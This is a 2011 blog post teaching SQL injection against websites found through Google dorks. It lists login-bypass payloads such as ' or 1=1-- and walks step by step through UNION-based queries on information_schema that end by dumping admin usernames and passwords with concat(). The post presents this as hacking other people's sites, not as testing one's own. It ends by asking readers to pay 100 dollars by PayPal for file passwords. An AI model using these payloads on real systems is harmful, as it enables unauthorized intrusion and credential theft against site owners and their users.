border: 1px solid #d2d2d2; padding: 0px 8px 0px 8px; color: #a19999; font-size: 12px; height: 25px; width: 165px; border-radius: 5px; -moz-border-radius: 5px; -webkit-border-radius: 5px; margin:0px; } .submitbutton{ background:#F66303; border: 1px solid #F66303; text-shadow: 1px 1px 1px #333; box-shadow: 3px 3px 3px #666; font:bold 12px Arial, sans-serif; color: #fff; height: 25px; padding: 0 12px 0 12px; margin: 0 0 0 5px; border-radius: 5px; -moz-border-radius: 5px; -webkit-border-radius: 5px; cursor:pointer;}

Receive all updates via Facebook. Just Click the Like Button Below

You can also receive Free Email Updates:

Powered By Blogger Widgets

Related Posts Plugin for WordPress, Blogger...

Sunday, April 24, 2011

My SQL injection complete tutorial

I am going to share with one of the best of my tutorials here .

Now Let's begin!!

Sql injection (aka Sql Injection or Structured Query Language Injection) is the first step in the entry to exploiting or hacking websites. It is easily done and it is a great starting off point. Unfortunately most sqli tutorials suck, so that is why I am writing this one. Sqli is just basically injecting queries into a database or using queries to get authorization bypass as an admin.

Things you should know :
Data is in the columns and the columns are in tables and the tables are in the database .
Just remember that so you understand the rest .

Bypassing admin log in
Gaining auth bypass on an admin account.

Most sites vulnerable to this are .asp
First we need 2 find a site, start by opening google.
Now we type our dork: "defenition of dork" 'a search entry for a certain type of site/exploit .ect"
There is a large number of google dork for basic sql injection. 
here is the best:

Now what to do once we get to our site.
the site should look something like this :

so what we do here is in the username we always type "Admin"
and for our password we type our sql injection

here is a list of sql injections
' or '1'='1
' or 'x'='x
' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --
So your input should look like this

that will confuse the site and give you authorisation to enter as admin

If the site is vulnerable than you are in XD

Finding Sites to Inject

Finding SQLI Vulnerable sits is extremely easy all you need to do is some googling. The first thing you need to do are find some dorks. 
Download SQLI dorks list from here :

PS:I didn't put them in the thread because i passed count limit...
Pick one of those dorks and add inurl: before it (If they do not already have it) and then copy and paste it into google. Pick one of the sites off google and go to it.
For example the url of the page you are on may look like this :

To check that it is vulnerable all you have to do is add a '

So our link should look like that :

Press enter and you get some kind of error. The errors will vary...

Our page should look like that : 
[Image: vulnerror.jpg]
After you find your vulnerable site the first step you need to take is to find the number of columns. The easiest way to do this is writing "order by " column number and we add "--" after the number.
Our link should look like that :
Quote: order by 15--
If you get an error that means you should lower the number of columns .
Let's try 10.
Quote: order by 10--
The page opened normally that means the number of columns is between 10 and 14.
We try now 11.
Quote: order by 11--
The page opened normally too...
Let's try 12.
Quote: order by 12--
We got error . That means the columns number is 11 because we got error on 12 and 11 opened normally .
Finding Accessible Columns 
Now that we have the number of columns we need to get the column numbers that we can grab information from.
We can do that by adding a "-" before the "10" replacing the " order by # " with "union all select " and columns number
Our link should look like that :
Quote: union all select 1,2,3,4,5,6,7,8,9,10,11--
We should get numbers .

Our page should look like that : 
[Image: vulncolumns.jpg]
For the end part of the url, (1,2,3,4,5,6,7,8,9,10,11) You put the number of columns you found in the first step. Since I found that the site I was testing had 11 columns, I put 1,2,3,4,5,6,7,8,9,10,11--
These numbers are the colum numbers we can get information from. We will replace them later with something else so write them down if you want.

Getting Database Version
We found that column 8 , 3 , 4 and 5 are vulnerable so we will use them to get the database version .
Why Do We Do That?
If database is under 5 that means we will have to guess the tables names
To do that we need to replace one of the vulnerable columns by "@@verion"
Let's take column 8.
Our link should look like that :
Quote: union all select 1,2,3,4,5,6,7,@@version,9,10,11--

The page should look like that : 
[Image: dbversion.jpg]
In our case we got "5.0.77" its >5 so we can continue.

Now we need to get the table name we want to access :
To do it we need to replace "@@version" with "table_name" and add after the last columns number "from information_schema.tables" and add the "--" in the end .
Link should be like that:
Quote: union all select 1,2,3,4,5,6,7,table_name,9,10,11 from information_schema.tables--

Page should look like that : 
[Image: tablenames.jpg]
Now we will search the table we want to access .
We should fine something with admin on it and in our case it's tbladmin

[Image: tblh.jpg]
Now we need to get the ASCII value of "tbladmin".
What is ASCII?
Now to get the ASCII value of "tbladmin" go to that site :

[Image: acsii1.jpg]
Now enter in first box the table name wich is "tbladmin" in our case and click convert to ASCII.
You will get as value that :
Now remove the characters as & # ; and we add a comma "," between each number .
It should be like that:

[Image: acsii2.jpg]
Now we replace in the URL the "table_name" to "column_name" and change "information_schema.tables" to "information_schema.columns and add "where table_name=char(ASCII value)--
in our case at place of (ASCII value) we put (116,98,108,97,100,109,105,110)--
Our URL should look like that :
Quote: union all select 1,2,3,4,5,6,7,column_name,9,10,11 from information_schema.columns where table_name=char(116,98,108,97,100,109,105,110)--
Our page should be like that:

[Image: columnsm.jpg]
Now we search for the columns named "username" and "password" or something like that .
In our case it is "username" and "password".
Now we can delete most of the URL .
Remove everything after the 11 and add : "from tbladmin" And replace "column_name" with "concat(username,0x3a,password)
0x3a is the ASCII value of a : so we can separate the username from the password.
Our URL should look like that: 
Quote: union all select 1,2,3,4,5,6,7,concat(username,0x3a,password),9,10,11 from tbladmin
Our page should look like that :



And We're Done !
Files are password protected... how to get the password?
Send me 100 dollars in my Pay Pal Account, then mail you...

No comments:

Post a Comment


Twitter Delicious Facebook Digg Stumbleupon Favorites More